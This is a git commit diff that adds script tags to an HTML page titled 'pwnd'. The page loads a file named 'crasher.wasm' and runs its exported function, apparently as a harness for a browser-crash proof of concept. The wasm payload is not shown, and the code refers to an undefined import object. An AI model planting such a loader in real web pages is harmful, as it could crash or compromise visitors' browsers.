Upload files to "/"
This commit is contained in:
parent
b41e747893
commit
3b6c33403c
1 changed files with 2 additions and 1 deletions
|
@ -2,12 +2,13 @@
|
||||||
<html>
|
<html>
|
||||||
<head>pwnd</head>
|
<head>pwnd</head>
|
||||||
<body>
|
<body>
|
||||||
|
<script>
|
||||||
fetch("crasher.wasm")
|
fetch("crasher.wasm")
|
||||||
.then((response) => response.arrayBuffer())
|
.then((response) => response.arrayBuffer())
|
||||||
.then((bytes) => WebAssembly.instantiate(bytes, importObject))
|
.then((bytes) => WebAssembly.instantiate(bytes, importObject))
|
||||||
.then((results) => {
|
.then((results) => {
|
||||||
results.instance.exports.exported_func();
|
results.instance.exports.exported_func();
|
||||||
});
|
});
|
||||||
|
</script>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|
Loading…
Reference in a new issue